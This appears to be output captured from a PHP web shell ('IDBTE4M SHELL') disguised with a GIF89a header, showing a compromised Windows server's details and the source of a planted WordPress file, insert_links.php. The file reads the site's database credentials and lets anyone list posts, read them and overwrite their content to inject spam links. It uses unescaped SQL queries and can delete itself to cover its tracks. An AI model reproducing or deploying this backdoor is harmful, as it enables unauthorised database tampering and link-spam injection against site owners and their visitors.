GIF89a
-_-

-=[+] IDBTE4M SHELL V1 [+]=-

System :
Windows NT SG2NWVPWEB014 6.3 build 9200 (Windows Server 2012 R2 Standard Edition) i586
IP : 182.50.132.51
Safe Mode : OFF
Disabled Functions : NONE
Home_root : G:\PleskVhosts\webpointbroadband.com\thakormandal.com



IDBTE4M #>G:/PleskVhosts/webpointbroadband.com/thakormandal.com/
Current File : G:/PleskVhosts/webpointbroadband.com/thakormandal.com/insert_links.php

<?php

@set_time_limit(0);
/* ini_set('error_reporting', E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1); */
function shutDownFunction() { 
    $error = error_get_last();
    if ($error['type'] === E_ERROR OR $error['type'] === 64) { 
        echo 'ERROR'; exit;   
    } 
}
register_shutdown_function('shutDownFunction');


	require_once __DIR__.'/wp-config.php';


//echo $table_prefix;


date_default_timezone_set('UTC');
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
header('Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');


$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

$mode = $_GET['mode'];

switch($mode) {
	
	case 'get_posts_id':
		$sql = "SELECT `ID` FROM `".$table_prefix."posts` WHERE `post_status`='publish' AND `post_type`='post' ";
		//debug($sql,1);
		$result = $mysqli->query($sql);

		$posts = [];

		while($row = $result->fetch_assoc()) {
			$posts[] = $row;
		}
		
		if(count($posts) == 0) {
			
			$sql = "SELECT `ID` FROM `".$table_prefix."posts` WHERE `post_status`='publish' AND `post_type`='page' ";
				//debug($sql,1);
				$result = $mysqli->query($sql);

				$posts = [];

				while($row = $result->fetch_assoc()) {
					$posts[] = $row;
				}
				if(count($posts) == 0) {
				
					$sql = "SELECT `ID` FROM `".$table_prefix."posts` WHERE `post_status`='publish' AND `post_type`='product' ";
					//debug($sql,1);
					$result = $mysqli->query($sql);

					$posts = [];

					while($row = $result->fetch_assoc()) {
						$posts[] = $row;
					}
				
				if(count($posts) == 0) {
					echo 'Нет постов'; exit;
				}
			}
			
		}
		shuffle($posts);

		$out_posts = [];

		foreach($posts as $p) {
			$out_posts[] = $p['ID'];
		}

		echo implode(',',$out_posts); exit();
	break;
	
	case 'get_post_content':
		$id = $_GET['id'];
		$sql = "SELECT * FROM `".$table_prefix."posts` WHERE `ID`='".$id."' ";
		
		$res = $mysqli->query($sql);
		
		$post = $res->fetch_assoc();
		
		echo $post['post_content']; exit();
		
	
	break;
	
	case 'update_post':
	
		if(!isset($_POST['submit'])) {
			?>
			<form method="POST">
			
				<label>Post content:</label><br/>
				<textarea name="post_content" cols="100" rows="20"></textarea><br/><br/>
			
				<label>Post ID:</label><br/>
				<input type="text" name="id" value=""/><br/><br/>
			
				<input type="submit" name="submit" value="GO!!!"/>
			</form>
			
			<?php
			
			exit();
		}
		
		$sql = "UPDATE `".$table_prefix."posts` SET `post_content`='".str_ireplace(['<body>','</body>'],'',$_POST['post_content'])."' WHERE `ID`='".$_POST['id']."'";
		
		$res = $mysqli->query($sql);
		$permalink = get_permalink($_POST['id']);
		echo 'Ссылка  была вставлена в статью: <a href="'.$permalink.'" target="_blank">'.$permalink.'</a><br/>';
		
		exit();
	break;
	
	case 'delete':
		echo 'ok';
		unlink(__DIR__.'/insert_links.php');
	break;

	case false:
	default:
		echo 'Unknown mode'; exit();
	break;

}

$mysqli->close();


function debug($data,$st=0) {
	print '<pre>';
	var_dump($data);
	print '<pre>';
	if($st==1) { exit(); }
}

?>